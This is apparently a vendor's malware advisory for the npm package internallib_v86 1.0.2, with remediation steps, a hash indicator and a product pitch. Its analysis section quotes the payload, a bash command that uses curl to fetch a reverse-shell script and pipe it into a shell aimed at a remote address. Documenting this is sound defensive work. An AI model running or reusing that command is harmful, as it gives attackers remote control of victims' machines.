Which versions of internallib_v86 are malicious?

The following npm versions of internallib_v86 are flagged malicious: 1.0.2. Treat any of these as compromised.

How do I remediate internallib_v86 if I installed it?

Remove internallib_v86 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed internallib_v86 — how do I know if it already compromised me?

If internallib_v86 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is internallib_v86 part of a known attack campaign?

Yes — internallib_v86 is associated with the IN-MAL-2026-021085 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find internallib_v86 across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for internallib_v86 (version 1.0.2).

Malicious package

internallib_v86npm

Advisory published Oct 6, 2026Updated Oct 6, 2026

internallib_v86 is a confirmed malicious npm package (MAL-2026-17634) that executes malicious code on install (malicious version 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in internallib_v86 (npm)

MAL-2026-17634

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall internallib_v86

What this malware does

internallib_v86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior.

Malicious versions

1 flagged

1.0.2

Indicators of compromise (SHA-256)

9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for internallib_v86 (version 1.0.2).
If you installed it — respond
Remove internallib_v86 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If internallib_v86 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. internallib_v86 on npm has been identified as a malicious package (version 1.0.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021085

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks internallib_v86-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database